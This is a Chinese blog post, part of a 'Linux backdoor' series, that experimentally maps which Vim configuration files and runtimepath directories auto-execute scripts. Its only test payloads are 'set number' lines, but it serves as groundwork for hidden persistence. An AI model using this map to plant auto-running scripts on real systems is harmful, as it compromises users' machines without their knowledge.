前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Vim 后门 | Linux 后门系列

Vim 后门 | Linux 后门系列

作者头像
意大利的猫
发布2023-09-05 16:57:00
5370
发布2023-09-05 16:57:00
举报
文章被收录于专栏:漫流砂漫流砂

0x00 简介

Vim(Vi IMproved)是一款强大的文本编辑器。它支持多种编辑模式,具有丰富的编辑功能和高度可定制性。Vim 提供了代码折叠、语法高亮、自动补全等功能,适用于程序员和文本编辑爱好者。通过个性化配置和插件系统,用户可以定制快捷键、颜色方案等。Vim 还可以作为图形化编辑器,在不同操作系统上运行,并与版本控制系统集成。总之,Vim 是一款高效、灵活的编辑器,为用户提供优秀的编辑体验。

0x01 Vim 配置加载过程

vim 配置加载过程简单描述就是先加载系统级别配置,之后加载个人用户配置,接下来以 Ubuntu 22.04 为例

可以通过 vim --version 来进行查看各种文件的位置以及一些系统包含的插件

代码语言:javascript
复制
vim --version
代码语言:javascript
复制
   system vimrc file: "$VIM/vimrc"
     user vimrc file: "$HOME/.vimrc"
 2nd user vimrc file: "~/.vim/vimrc"
      user exrc file: "$HOME/.exrc"
       defaults file: "$VIMRUNTIME/defaults.vim"
  fall-back for $VIM: "/usr/share/vim"

1. vim 配置说明

  • 系统级别配置文件 $VIM/vimrc
  • 用户配置文件 $HOME/.vimrc
  • 次优先级用户配置文件 ~/.vim/vimrc
  • 用户层ex编辑器配置文件 $HOME/.exrc
  • 默认配置文件 $VIMRUNTIME/defaults.vim
  • 次默认配置文件 /usr/share/vim

其中 $VIM 是 vim 内置的变量而不是 Linux 的环境变量,当然 vim 也是可以使用 Linux 环境变量的

通过在vim的底线命令模式中 echo $变量名 来获取 vim 的配置文件地址

因此,在 Ubuntu Server 22.04 vim 默认配置为

  • 系统级别配置文件 $VIM/vimrc ——> /usr/share/vim/vimrc -> /etc/vim/vimrc
  • 用户配置文件 $HOME/.vimrc ——> ~/.vimrc
  • 次优先级用户配置文件 ~/.vim/vimrc
  • 用户层ex编辑器配置文件 $HOME/.exrc ——> ~/.exrc
  • 默认配置文件 $VIMRUNTIME/defaults.vim ——> /usr/share/vim/vim82/defaults.vim
  • $VIM后备配置文件 /usr/share/vim

这些配置文件默认情况下并不是都存在


2. 确定已加载的配置

但是这些配置文件中可能还会引用其他配置文件,因此想要了解本次vim 请求加载了哪些配置文件可以通过在vim的底线命令模式中输入 scriptnames

Ubuntu Server 22.04 默认情况下是没有 ~/.vim 目录的

首先加载的是系统级配置文件 /usr/share/vim/vimrc , 之后根据系统级配置文件的内容加载了一些配置文件内容,默认没有发现用户级配置文件的加载

可以看到默认并没有用户配置

3. 系统级配置文件解析

vim 配置文件有自己的一套 vim 脚本语法,具体可以通过下面的链接进行学习

https://devhints.io/vimscript https://www.w3cschool.cn/vim/

其中 " 是注释符号, runtime! xxx.vim 表示强制重新加载 xxx.vim

/usr/share/vim/vimrc -> /etc/vim/vimrc

代码语言:javascript
复制
" All system-wide defaults are set in $VIMRUNTIME/debian.vim and sourced by
" the call to :runtime you can find below.  If you wish to change any of those
" settings, you should do it in this file (/etc/vim/vimrc), since debian.vim
" will be overwritten everytime an upgrade of the vim packages is performed.
" It is recommended to make changes after sourcing debian.vim since it alters
" the value of the 'compatible' option.

runtime! debian.vim

" Vim will load $VIMRUNTIME/defaults.vim if the user does not have a vimrc.
" This happens after /etc/vim/vimrc(.local) are loaded, so it will override
" any settings in these files.
" If you don't want that to happen, uncomment the below line to prevent
" defaults.vim from being loaded.
" let g:skip_defaults_vim = 1

" Uncomment the next line to make Vim more Vi-compatible
" NOTE: debian.vim sets 'nocompatible'.  Setting 'compatible' changes numerous
" options, so any other options should be set AFTER setting 'compatible'.
"set compatible

" Vim5 and later versions support syntax highlighting. Uncommenting the next
" line enables syntax highlighting by default.
if has("syntax")
  syntax on
endif

" If using a dark background within the editing area and syntax highlighting
" turn on this option as well
"set background=dark

" Uncomment the following to have Vim jump to the last position when
" reopening a file
"au BufReadPost * if line("'\"") > 1 && line("'\"") <= line("$") | exe "normal! g'\"" | endif

" Uncomment the following to have Vim load indentation rules and plugins
" according to the detected filetype.
"filetype plugin indent on

" The following are commented out as they cause vim to behave a lot
" differently from regular Vi. They are highly recommended though.
"set showcmd  " Show (partial) command in status line.
"set showmatch  " Show matching brackets.
"set ignorecase  " Do case insensitive matching
"set smartcase  " Do smart case matching
"set incsearch  " Incremental search
"set autowrite  " Automatically save before commands like :next and :make
"set hidden  " Hide buffers when they are abandoned
"set mouse=a  " Enable mouse usage (all modes)

" Source a global configuration file if available
if filereadable("/etc/vim/vimrc.local")
  source /etc/vim/vimrc.local
endif


去掉注释后

代码语言:javascript
复制
runtime! debian.vim

if has("syntax")
  syntax on
endif

if filereadable("/etc/vim/vimrc.local")
  source /etc/vim/vimrc.local
endif

分为三部分

代码语言:javascript
复制
runtime! debian.vim  强制重新加载 debian.vim

经过测试,这里 debian.vim 所在路径为 $VIMRUNTIME 的值(/usr/share/vim/vim82)的目录下

经过测试,这里直接写绝对路径是不行的,必须是这个目录的相对路径

代码语言:javascript
复制
if has("syntax")
  syntax on
endif

这段代码检查当前 vim 是否支持语法高亮,如果支持则打开语法高亮

代码语言:javascript
复制
if filereadable("/etc/vim/vimrc.local")
  source /etc/vim/vimrc.local
endif

这段配置代码的意思是,如果文件/etc/vim/vimrc.local存在并且可读,则加载该文件

通过对系统级配置文件 /etc/vim/vimrc 进行分析,可以知道这个文件默认内容不多,主要就是开启语法高亮、重新加载配置文件 debian.vim 、引入 /etc/vim/vimrc.local 因此接下来分析 debian.vim 和 /etc/vim/vimrc.local

/usr/share/vim/vim82/debian.vim

这一看就是 debian 系操作系统特有的文件, Centos 以及 Rocky Linux 等没有这个文件,甚至系统级配置文件位置都不同

根据 /etc/vim/vimrc 中注释描述,将所有系统侧配置文件都放置在 /usr/share/vim/vim82/debian.vim 文件中,每次程序升级时,都有可能覆盖更新 /usr/share/vim/vim82/debian.vim 文件,因此一些个性化配置尽量在个人用户配置处进行

代码语言:javascript
复制
" Normally we use vim-extensions. If you want true vi-compatibility
" remove change the following statements
set nocompatible " Use Vim defaults instead of 100% vi compatibility
set backspace=indent,eol,start " more powerful backspacing

" Now we set some defaults for the editor
set history=50  " keep 50 lines of command line history
set ruler  " show the cursor position all the time

" modelines have historically been a source of security/resource
" vulnerabilities -- disable by default, even when 'nocompatible' is set
set nomodeline

" Suffixes that get lower priority when doing tab completion for filenames.
" These are files we are not likely to want to edit or read.
set suffixes=.bak,~,.swp,.o,.info,.aux,.log,.dvi,.bbl,.blg,.brf,.cb,.ind,.idx,.ilg,.inx,.out,.toc

" We know xterm-debian is a color terminal
if &term =~ "xterm-debian" || &term =~ "xterm-xfree86"
  set t_Co=16
  set t_Sf=[3%dm
  set t_Sb=[4%dm
endif

" Some Debian-specific things
if has('gui')
  " Must define this within the :if so it does not cause problems with
  " vim-tiny (which does not have +eval)
  function! <SID>MapExists(name, modes)
    for mode in split(a:modes, '\zs')
      if !empty(maparg(a:name, mode))
        return 1
      endif
    endfor
    return 0
  endfunction

  " Make shift-insert work like in Xterm
  autocmd GUIEnter * if !<SID>MapExists("<S-Insert>", "nvso") | execute "map <S-Insert> <MiddleMouse>" | endif
  autocmd GUIEnter * if !<SID>MapExists("<S-Insert>", "ic") | execute "map! <S-Insert> <MiddleMouse>" | endif
endif

" Set paper size from /etc/papersize if available (Debian-specific)
if filereadable("/etc/papersize")
  let s:papersize = matchstr(readfile('/etc/papersize', '', 1), '\p*')
  if strlen(s:papersize)
    exe "set printoptions+=paper:" . s:papersize
  endif
endif

这个配置文件中未包含对其他配置文件的引用

/etc/vim/vimrc.local

Ubuntu Server 22.04 中默认不存在这个文件

4. 用户配置文件解析

  • ~/.vimrc
  • ~/.vim/vimrc

Ubuntu 默认不存在vim个人用户配置文件

5. 用户层ex编辑器配置文件

~/.exrc

Ubuntu Server 22.04 默认不存在该配置文件

6. 默认配置文件

默认配置文件在没有个人用户的配置文件时使用,Ubuntu Server 22.04 默认无个人默认配置文件,因此默认情况下会启用默认配置文件

$VIMRUNTIME/defaults.vim ——> /usr/share/vim/vim82/defaults.vim

代码语言:javascript
复制
" The default vimrc file.
"
" Maintainer: Bram Moolenaar <Bram@vim.org>
" Last change: 2021 Nov 17
"
" This is loaded if no vimrc file was found.
" Except when Vim is run with "-u NONE" or "-C".
" Individual settings can be reverted with ":set option&".
" Other commands can be reverted as mentioned below.

" When started as "evim", evim.vim will already have done these settings.
if v:progname =~? "evim"
  finish
endif

" Bail out if something that ran earlier, e.g. a system wide vimrc, does not
" want Vim to use these default values.
if exists('skip_defaults_vim')
  finish
endif

" Use Vim settings, rather than Vi settings (much better!).
" This must be first, because it changes other options as a side effect.
" Avoid side effects when it was already reset.
if &compatible
  set nocompatible
endif

" When the +eval feature is missing, the set command above will be skipped.
" Use a trick to reset compatible only when the +eval feature is missing.
silent! while 0
  set nocompatible
silent! endwhile

" Allow backspacing over everything in insert mode.
set backspace=indent,eol,start

set history=200  " keep 200 lines of command line history
set ruler  " show the cursor position all the time
set showcmd  " display incomplete commands
set wildmenu  " display completion matches in a status line

set ttimeout  " time out for key codes
set ttimeoutlen=100 " wait up to 100ms after Esc for special key

" Show @@@ in the last line if it is truncated.
set display=truncate

" Show a few lines of context around the cursor.  Note that this makes the
" text scroll if you mouse-click near the start or end of the window.
set scrolloff=5

" Do incremental searching when it's possible to timeout.
if has('reltime')
  set incsearch
endif

" Do not recognize octal numbers for Ctrl-A and Ctrl-X, most users find it
" confusing.
set nrformats-=octal

" For Win32 GUI: remove 't' flag from 'guioptions': no tearoff menu entries.
if has('win32')
  set guioptions-=t
endif

" Don't use Ex mode, use Q for formatting.
" Revert with ":unmap Q".
map Q gq

" CTRL-U in insert mode deletes a lot.  Use CTRL-G u to first break undo,
" so that you can undo CTRL-U after inserting a line break.
" Revert with ":iunmap <C-U>".
inoremap <C-U> <C-G>u<C-U>

" Only do this part when Vim was compiled with the +eval feature.
if 1

  " Enable file type detection.
  " Use the default filetype settings, so that mail gets 'tw' set to 72,
  " 'cindent' is on in C files, etc.
  " Also load indent files, to automatically do language-dependent indenting.
  " Revert with ":filetype off".
  filetype plugin indent on

  " Put these in an autocmd group, so that you can revert them with:
  " ":augroup vimStartup | exe 'au!' | augroup END"
  augroup vimStartup
    au!

    " When editing a file, always jump to the last known cursor position.
    " Don't do it when the position is invalid, when inside an event handler
    " (happens when dropping a file on gvim) and for a commit message (it's
    " likely a different one than last time).
    autocmd BufReadPost *
      \ if line("'\"") >= 1 && line("'\"") <= line("$") && &ft !~# 'commit'
      \ |   exe "normal! g`\""
      \ | endif

  augroup END

  " Quite a few people accidentally type "q:" instead of ":q" and get confused
  " by the command line window.  Give a hint about how to get out.
  " If you don't like this you can put this in your vimrc:
  " ":augroup vimHints | exe 'au!' | augroup END"
  augroup vimHints
    au!
    autocmd CmdwinEnter *
   \ echohl Todo | 
   \ echo 'You discovered the command-line window! You can close it with ":q".' |
   \ echohl None
  augroup END

endif

" Switch syntax highlighting on when the terminal has colors or when using the
" GUI (which always has colors).
if &t_Co > 2 || has("gui_running")
  " Revert with ":syntax off".
  syntax on

  " I like highlighting strings inside C comments.
  " Revert with ":unlet c_comment_strings".
  let c_comment_strings=1
endif

" Convenient command to see the difference between the current buffer and the
" file it was loaded from, thus the changes you made.
" Only define it when not defined already.
" Revert with: ":delcommand DiffOrig".
if !exists(":DiffOrig")
  command DiffOrig vert new | set bt=nofile | r ++edit # | 0d_ | diffthis
    \ | wincmd p | diffthis
endif

if has('langmap') && exists('+langremap')
  " Prevent that the langmap option applies to characters that result from a
  " mapping.  If set (default), this may break plugins (but it's backward
  " compatible).
  set nolangremap
endif

在该配置文件中,也没有发现引入其他配置文件

7. 自动加载的配置文件

通过我们对各种 vim 官方的各种配置文件进行分析,但是并没有发现图中的 /usr/share/vim/vim82/syntax/syntax.vim 以及下面一系列的配置文件的加载部分,也就是说除了配置文件以外,还有其他部分决定着加载一些配置文件

通过一些学习,我发现 vim 会自动加载 runtimepath 这个项(options) 值指向的目录中的部分目录下的配置文件,这段话有点绕,下面举例子

查看 runtimepath 的值

底线命令模式下 set runtimepath?

可以看到,Ubuntu 默认的 vim runtimepath 的值为

代码语言:javascript
复制
runtimepath=~/.vim,/var/lib/vim/addons,/etc/vim,/usr/share/vim/vimfiles,/usr/share/vim/vim82,/usr/share/vim/vimfi
les/after,/etc/vim/after,/var/lib/vim/addons/after,~/.vim/after

测试其中一个目录中新建 plugin 目录并放置 1.vim 配置文件

/var/lib/vim/addons 目录为例

默认情况是不启用行号的,接下来尝试在 /var/lib/vim/addons 目录新建 plugin 目录,并在其中创建 1.vim 配置文件,配置文件中写入 set number 来让 vim 显示行号

配置成功生效

8. vim 配置加载过程初步总结

通过一些探索,默认情况下 vim 会加载如下配置文件

  • 系统级别配置文件 $VIM/vimrc
  • 用户配置文件 $HOME/.vimrc
  • 次优先级用户配置文件 ~/.vim/vimrc
  • 用户层ex编辑器配置文件 $HOME/.exrc
  • 默认配置文件 $VIMRUNTIME/defaults.vim
  • runtimepath 项的值所指向的路径内部分内容

0x02 Vim 配置加载细节问题

1. 系统配置与用户配置

1) 相同的配置项以谁为准

一般软件来说,遇到相同配置项,最终都是以用户配置为准,我们通过一个实验来测试 vim 是如何做的

实验思路:

  • 通过在系统配置 /etc/vim/vimrc 中配置 set background=dark ,
  • 用户配置 ~/.vimrc 中配置 set background=light
  • 测试最终vim背景颜色来判断最终结果

默认背景颜色为 dark

系统配置背景颜色为 dark

用户配置背景颜色为白色

现在打开 1.txt 查看背景颜色

配置最终以用户配置为准,但是似乎背景颜色没有改成白色,难道是 ssh 连接的原因吗?通过图形化界面测试也是一样,推测可能是 Ubuntu 的终端或vim不支持设置背景颜色

通过 background 项的值可知,系统配置与用户配置遇到相同值的情况下,以用户配置为主

现在我们加了用户配置,我们看一下详细的配置加载情况

可以看到, ~/.vimrc 是在 /usr/share/vim/vimrc 后加载的,也就是说可能是遇到相同配置项以后加载的配置文件为准,我们尝试在 /var/lib/vim/addons/plugin/1.vim 中添加 set background=dark

因此得出结论:vim 的配置文件在配置项相同的时候,以后加载的配置文件的结果为准

与常规软件的配置文件规则一样

其实在 vim 中可以在底线命令模式下输入 verbose set background? 来查看 background 这个项的值是来自哪个配置文件

2) 被覆盖的配置项会执行吗

上一个实验中被覆盖的 background 配置项,在未被覆盖前,系统配置文件中是否生效了呢?

肯定是生效过对吧,但是最为一个相对严谨的安全研究员,我们还是通过实验来验证一下

先科普 vim 配置文件中设置变量和打印变量的方法

代码语言:javascript
复制
设置变量
let g:my_variable = 'Hello, World!'

打印变量
echo g:my_variable

实验思路:

  • 在系统配置文件中设置变量 flag 变量值为 system
  • 在用户配置文件中打印 flag 变量
  • 在用户配置文件中设置 flag 变量值为 user
  • /var/lib/vim/addons/plugin/1.vim 中打印 flag 变量

现在尝试通过 vim 编辑 1.txt

可以看出,虽然最终 flag 变量的值被修改了,但是系统配置中设置 flag 变量这个操作是成功了的,相信看到这里,部分小伙伴已经对后门有想法了,但请不要着急,这部分主要是探索 vim 配置详细加载情况

2. 用户配置与默认配置文件

1) 用户配置文件存在且不为空

/etc/vim/vimrc 中曾有介绍,如果不存在用户配置文件,将启用默认配置文件 $VIMRUNTIME/defaults.vim ,如果存在用户配置文件,则不启动,实际情况是这样的吗?我们需要进行一个实验

实验思路

  • 创建用户配置文件 ~/.vimrc
  • 删除/var/lib/vim/addons/plugin/1.vim 以及 plugin 文件夹
  • 在默认配置文件中写入 set number
  • 编辑 1.txt 查看结果

可以看到,存在用户配置文件的情况下,确实默认配置文件不会执行

如果用户配置文件是 ~/.vim/vimrc 也这样吗

用户配置文件 ~/.vim/vimrc 也是生效的

2) 用户配置文件存在且为空

如果用户配置文件存在,但是内容是空的,这种情况下默认配置文件会生效吗

可以看出,默认配置文件判断的是文件存不存在,而不是有没有内容

3) 用户配置文件不存在

如果用户配置文件不存在,默认文件就会执行吗

果然,在用户配置文件不存在的情况下,默认配置会生效

4) .vim 文件夹存在,用户配置文件不存在

看来默认配置文件检查的是具体的文件而不是目录

5) .vim/plugin/1.vim 存在,用户配置文件不存在

两个配置文件都执行了

3. 用户配置与用户配置

用户主配置文件也有两个文件 ~/.vimrc~/.vim/vimrc ,用户配置文件其他内容都在 ~/.vim/ 目录下

Ubuntu 22.04 默认情况没有用户配置文件 ~/.vim/*~/.vimrc

1) 两个用户配置同时存在

如果 ~/.vimrc~/.vim/vimrc 只存在一个,则会自动执行,当两个文件同时存在会怎么样呢?

实验思路:

  • ~/.vimrc 设置变量 flag 的值为 0
  • ~/.vim/vimrc 设置变量 flag 的值为 1
  • echo 变量 flag

当两个用户配置文件同时存在时,默认会启用 ~/.vimrc

2) ~/.vimrc 存在, .vim/plugin 目录下配置文件是否执行

.vim/plugin目录下的文件加载不受用户配置文件影响

4. runtimepath 与 $VIMRUNTIME

runtimepath 是一个配置项,而 VIMRUNTIME 是一个vim自有的环境变量,每次启动 vim 时会将 VIMRUNTIME 的值更新到 runtimepath 配置项中

1) 在 vim 中临时修改 $VIMRUNTIME 的值,会直接修改 runtimepath

可以得出结论,在运行的 vim 中临时修改 $VIMRUNTIME 环境变量的值并不会影响 runtimepath 项的值

2) 永久修改 $VIMRUNTIME 的值,会修改 runtimepath

看来似乎通过用户配置永久修改 VIMRUNTIME 不会对 runtimepath 造成影响,尝试通过系统配置文件永久修改 VIMRUNTIME

可以看到,启动vim会报错,找不到 /tmp/syntax/syntax.vim ,这说明设置生效了,我们回车继续

可以看到, runtimepath 的值并未受到影响,因此似乎 runtimepath 的值并不来自于 $VIMRUNTIME

但是看很多文章中都写的是 runtimepath 的值由多部分组成,其中一部分是 $VIMRUNTIME ,为什么我们修改了会失败呢?

此时我突然想起了修改后启动 vim 的报错,难道是修改后由于 /tmp 目录下缺少相关文件导致的?

实验证明一下

首先是执行 vim 不再报错了

结果还是一样的

有趣的是,在加载配置文件列表中,确实有几个配置文件是从 /tmp/vim_runtime 目录加载的,而 debian.vim 竟然没有从 /tmp/vim_runtime

之前我们讲过, debian.vim 的路径是从 $VIMRUNTIME 获取的,而强制重新加载 debian.vim 的配置文件的指令就在系统配置文件/etc/vim/vimrc之中,如果这种脚前脚后的关系都无济于事的话,那后面的配置文件不使用我们修改过后的地址的配置文件也是可以理解的了

继续实验,在 /etc/vim/vimrc 中设置一下打印的选项,分别打印 $VIMRUNTIMEruntimepath 的值

从这个结果可以看出,在加载第一个配置文件/etc/vim/vimrc之前, runtimepath 就已经存在了,因此我们在 /etc/vim/vimrc 中修改 $VIMRUNTIME 的值后也不会重新生成 runtimepath

但是重新加载 debian.vim 是在设置 VIMRUNTIME 之后,为何 debian.vim 不使用我们修改后的VIMRUNTIME 的值就很难让人理解了

既然我们修改了 $VIMRUNTIME 之后,有几个配置文件还是跟着改了目录的,因此我们尝试在 /etc/vim/vimrc 中使用 runtime! xxx.vim 来加载它们,看看这回是什么路径

这就说明 runtime! 命令加载的地址根本就不是当前$VIMRUNTIME

既然从加载第一个配置文件前,runtimepath$VIMRUNTIME 就已经设置好了,要么是 vim 还有其他的配置文件,要么是 vim 直接从系统获取的配置

删除掉刚刚配置 $VIMRUNTIME 的内容,采用 Linux 环境变量的方式进行配置

果然,$VIMRUNTIME 是从 Linux 操作系统的环境变量来的

因此永久修改 VIMRUNTIME 不一定会修改 runtimepath ,只有通过Linux 操作系统环境变量来永久修改 VIMRUNTIME 时才会修改 runtimepath 的值,通过vim系统配置文件的方式永久修改

3) runtimepath 是否可以通过环境变量设置

可以看到并没有什么影响,因此 runtimepath 的值并不是来自于 Linux 操作系统环境变量

4) runtimepath 是否可以通过配置文件修改

从结果可以看出,实际上 runtime! xxx.vim 引用的配置文件地址并不是由 VINRUNTIME 来决定的,而是由 runtimepath 来决定的,这里官方应该是写错了,只不过由于 runtimepath 默认是由 VIMRUNTIME 组成的,所以错得不是很明显

defaults.vim 是实打实的 $VIMRUNTIME

5. 哪些目录自动加载

$VIMRUNTIME 和 ~/.vim 目录下的部分目录中的脚本会在vim启动或运行过程中加载,具体目录如下

  • autoload 目录:包含自动加载的脚本文件
  • colors 目录:包含颜色主题文件
  • compiler 目录:包含编译器配置文件
  • doc 目录:包含文档文件
  • ftplugin 目录:包含文件类型相关的插件脚本
  • indent 目录:包含文件类型相关的缩进脚本
  • keymap 目录:包含键盘映射脚本
  • lang 目录:包含语言相关的文件
  • plugin 目录:包含插件脚本文件
  • syntax 目录:包含语法高亮脚本文件
  • ftdetect 目录:包含文件类型检测脚本
  • after目录:包含 Vim 启动后加载的配置文件
1) autoload

如果大家看过《程序员的自我修养》、看过我写的《学完ELF后人间清醒的总结v1.0》或者了解过ELF文件结构与加载过程,大家肯定会了解一个概念 —— 延迟绑定

其实 autoload 的思想也是一样,对于需要程序启动时加载的插件就启动时加载,刚启动时用不到后期用到的插件就什么时候用,什么时候加载

这些启动 vim 过程中用不到的插件就放在 autoload 目录下,以自动函数的形式存放

自动函数也是一种函数,不过有一个固定的规范,autoload 下的文件名与函数名部分内容必须一致,举个例子

自动函数文件:/usr/share/vim/vim82/autoload/demo.vim

自动函数的定义

代码语言:javascript
复制
function! demo#MyFunction()
    set number
endfunction

这个函数名字由 demo # MyFunction 组成,其中 deno 必须与文件名 demo 相同,# 是固定格式,具体函数名自定义就好

自动函数的加载

可以在 vim 的底线命令模式下直接输入 :call demo#MyFunction() 进行加载

当然,也可以通过写入到配置文件的方式加载

2) colors

colors 文件夹是 vim 的配色方案存储的文件夹,除非使用插件管理器(例如 vim-plug) ,不然不会自动加载,可以通过 colorscheme mycolorscheme 来加载 colors/mycolorscheme.vim 这个颜色配置文件,举例如下:

Vim颜色配置文件: /usr/share/vim/vim82/colors/color_demo.vim

/etc/vim/vimrc 中添加 colorscheme color_demo

测试效果

成功加载配置文件

3) compiler

compiler 是与编译器相关的配置文件夹,当用户在底线命令模式中使用:compiler xxx 的时候,会自动加载compiler 目录下同名的配置文件

compiler 目录下已有的 gcc.vim 中添加 set number

打开 vim 测试效果

成功加载我们加入的配置

如果希望在vim打开某个类型的文件时,就加载相关类型对应的编译器配置文件,可以通过在 /etc/vim/vimrc 进行相关配置

以打开 go 类型文件时,自动切换 go 编译器,之后加载 /usr/share/vim/vim82/compiler/go.vim 为例

先通过 vim 打开 1.go 文件,查看未进行相关设置前效果

/usr/share/vim/vim82/compiler/go.vim 中添加 set number

接下来一步很重要

/etc/vim/vimrc 中添加 autocmd FileType go compiler go

打开 1.go 进行测试

如果你还不满足,希望在 vim 启动的时候就自动加载 compiler 目录下的某个配置文件,除了直接引用的方式以外,可以利用 VimEnter 事件通过在 /etc/vim/vimrc 中添加 autocmd VimEnter * compiler gcc,实现打开任意类型文件时都加载 gcc 编译器,进而加载 gcc.vim 配置文件

/usr/share/vim/vim82/compiler/gcc.vim 中添加 set number

/etc/vim/vimrc 中添加 autocmd VimEnter * compiler gcc

打开 1.go 测试效果

打开 1.txt 测试效果

直接启动vim测试效果

成功加载我们的配置文件

4) doc

这个目录下的文件都是帮助文档,并不会自动加载,通常用户在底线命令模式下输入 :help xxx 就会显示出来了

5) ftplugin

ftplugin 目录用于存放与文件类型相关的配置文件。这些文件可以根据文件类型自动加载,并为特定类型的文件提供相关的设置和命令。

这回以 python 类型文件为例

/usr/share/vim/vim82/ftplugin/python.vim 中添加 set number

打开 1.txt 进行测试

打开 1.py 进行测试

如果我们想为后缀名为 .pwd 的文件进行相关配置,直接在 ftplugin 目录下放置一个 pwd.vim 就可以吗?

打开 1.pwd 查看效果

看来没有那么简单,需要额外进行配置

需要在 /etc/vim/vimrc 中添加如下配置

代码语言:javascript
复制
autocmd BufNewFile,BufRead *.pwd setfiletype pwd

打开 1.txt 进行测试

打开 1.pwd 进行测试

成功实现在打开自定义类型文件时执行自定义的配置文件

6) indent

indent 目录用于存放与缩进相关的配置文件。这些文件可以根据文件类型自动加载,并为特定类型的文件提供自定义的缩进设置

这回以 rust 文件为例

/usr/share/vim/vim82/indent/rust.vim 中添加 set number

打开 1.txt 测试效果

打开 1.rs 测试效果

成功加载相关配置文件

和上面相同,如果想要自定义一个 .pwd 类型文件的缩进配置,如何操作呢?

其实文件类型配置这些东西主要都是记录在一个文件中 /usr/share/vim/vim82/filetype.vim ,但是我们在这里不着急讨论,放在后面部分,我们参考其中的书写方法,在 /etc/vim/vimrc 文件中进行配置

代码语言:javascript
复制
au BufNewFile,BufRead *.rs			setf rust

/etc/vim/vimrc 中添加下面的内容

代码语言:javascript
复制
au BufNewFile,BufRead *.pwd			setf pwd

indent 文件夹内添加 pwd.vim

打开 1.txt1.go 测试效果

打开 1.pwd 文件测试效果

成功加载自定义的配置文件

7) keymap

keymap 目录用于存放与键位映射相关的配置文件。这些文件可以根据文件类型自动加载,并为特定类型的文件提供自定义的键位映射

vim 默认的键位映射文件并不多,常见的 Python、Go 等都没有,正好我们为 .pwd 新建一个键位映射文件

看来还是需要在 /etc/vim/vimrc 中添加对 .pwd 后缀文件的解析结果配置

代码语言:javascript
复制
au BufNewFile,BufRead *.pwd			setf pwd

打开 1.txt 测试效果

打开 1.pwd 测试效果

成功加载自定义的配置文件

8) lang

lang 目录用于存放与语言相关的配置文件。这些文件默认不会自动加载,一般在使用vim 部分多语言支持的插件时才会加载,当然,我们可以使用上面的 vim 事件来让其加载,这种加载方式适合于任何目录的配置文件

lang 目录中新建 zh_CN_18030.vim 文件

/etc/vim/vimrc 中。写入如下内容

代码语言:javascript
复制
autocmd VimEnter * source $VIMRUNTIME/lang/zh_CN_18030.vim

现在打开任意文件,测试效果

成功加载自定义的配置文件

这种加载方式适用于任何目录的文件,因此并非lang目录独有,经过测试, source 加载的语法文件后缀并不一定需要是 .vim ,其他后缀也是可以的

9) plugin

plugin 目录用于存放插件文件,这些插件文件可以添加新的功能、命令、映射键位等

这个目录太清爽了,不用配置,直接将配置文件放在里面就会在vim启动时自动加载,加载顺利是按照字母顺序来进行的

这个目录默认存在的文件不多,我们新建一个,在新建之前,我们先看一下打开 1.txt 的效果

plugin 文件夹新建 toxml.vim

打开 1.txt 测试效果

成功加载自定义配置文件

10) syntax

syntax 目录中的语法文件用于提供代码高亮和语法解析的功能。这些语法文件通常会在打开相应类型的文件时自动加载。

默认打开 1.pwd

vim打开未匹配到文件类型的文件时,会自动加载 /usr/share/vim/vim82/syntax/nosyntax.vim

/usr/share/vim/vim82/syntax/nosyntax.vim 中添加 set number

再次打开 1.pwd

删除 /usr/share/vim/vim82/syntax/nosyntax.vim 中的 set number

接下来我们通过新增文件类型来实现自动加载

/etc/vim/vimrc 中新增以下内容

代码语言:javascript
复制
au BufNewFile,BufRead *.pwd			setf pwd

打开 1.pwd

成功加载自定义配置

11) ftdetect

ftdetect 目录用于自动检测文件类型,这个目录和plugin目录一样,目录下的配置文件可以自动加载

Ubuntu 22.04 中默认已经没有这个目录了,但是新建这个目录并在其中放置配置文件仍然有效

打开 1.txt

新建 ftdetect 目录并在其中创建 ttt.vim

成功加载自定义配置文件

12) macros

macros 目录用于存放宏文件,它们包含一系列 Vim 命令和操作的序列,macros 目录没有自动加载的特殊机制

13) pack

pack 目录用于管理插件和脚本包。当你将插件或脚本包放置在 pack 目录中时,Vim 会自动加载这些包

关于 pack 目录,网络上文件较少,先存的部分文章绝大多数也都是错误的,通过 :help packages 获取到了正确的使用方法

package 和 plugin 略有不同,package 可以包含多个插件,因此 pack 目录也有自己固定的格式

  1. 在 pack 目录创建包文件夹 —— mypackage
  2. mypackage 中创建固定名称的文件夹 start
  3. start 文件夹中创建任意名称文件夹,以 pack1 为例
  4. pack1 文件夹中创建固定名称文件夹 pluginsyntax
  5. pluginsyntax 中创建任意名称的 vim 配置文件 pack_test.vim
  6. pack_test.vim 中写入 set number

未设置前打开 1.txt

创建 package 并写入内容

打开 1.txt

成功加载了自定义配置文件

14) print

print 目录是 Vim 默认的打印支持脚本所在的位置,并不是用于自动加载脚本的目录

15) spell

spell 目录下的拼写检查文件可以通过自动加载来启用拼写检查功能,暂未发现可以自动启动的方法

16) tutor

tutor 目录下的教程文件是通过自动加载来启用 Vim 自带的教程功能的,暂未发现可以自动启动的方法

17) after

after 目录是 Vim 中一个特殊的目录,用于存放在 Vim 启动后加载的配置文件。after 目录中的配置文件可以用于覆盖默认的 Vim 配置,以及在 Vim 启动后进行进一步的个性化设置

Ubuntu 22.04 默认情况下没有 after 文件夹,我们可以新建该文件夹

after 目录既然是用来覆盖默认的 vim 配置,就有和默认配置文件夹相同的目录结构,也就是说 after 目录下的 plugin 目录中的配置文件也会自动执行

打开 1.txt

发现并没有执行

删除 after 目录,在用户配置文件中创建 after 目录,按照上面的方式进行测试

再次打开 1.txt

也就是说 在Ubuntu 22.04上after目录只在用户配置中有效,在系统级配置中无效

18) 自动加载的目录小结

目录名

自动加载

修改配置文件的方式加载

打开特定格式文件自动加载

未发现自动加载

autoload

1

colors

1

compiler

1

doc

1

ftplugin

1

indent

1

keymap

1

lang

1

plugin

1

syntax

1

ftdetect

1

macros

1

pack

1

print

1

spell

1

tutor

1

after

1

6. 哪些文件自动加载

$VIMRUNTIME 和 ~/.vim 目录下的部分脚本会在vim启动或运行过程中加载

经过上个小节的洗礼,大家应该已经轻车熟路了,想要确定具体加载了哪些脚本,只需要分别打开有文件类型的文件、未知文件类型的文件、直接执行 vim,之后分别在底线命令模式下执行 :scriptnames 就可以看到默认加载的脚本了

使用 vim 打开 1.go 文件脚本的加载情况

使用 vim 打开 a 文件的脚本加载情况

直接执行 vim

通过对比,可以得出,自动加载的脚本如下(第8条和第12条根据打开文件类型而定)

  • vimrc
  • debian.vimvimrc 中默认引用
  • syntax/syntax.vim
  • syntax/synload.vim
  • syntax/syncolor.vim
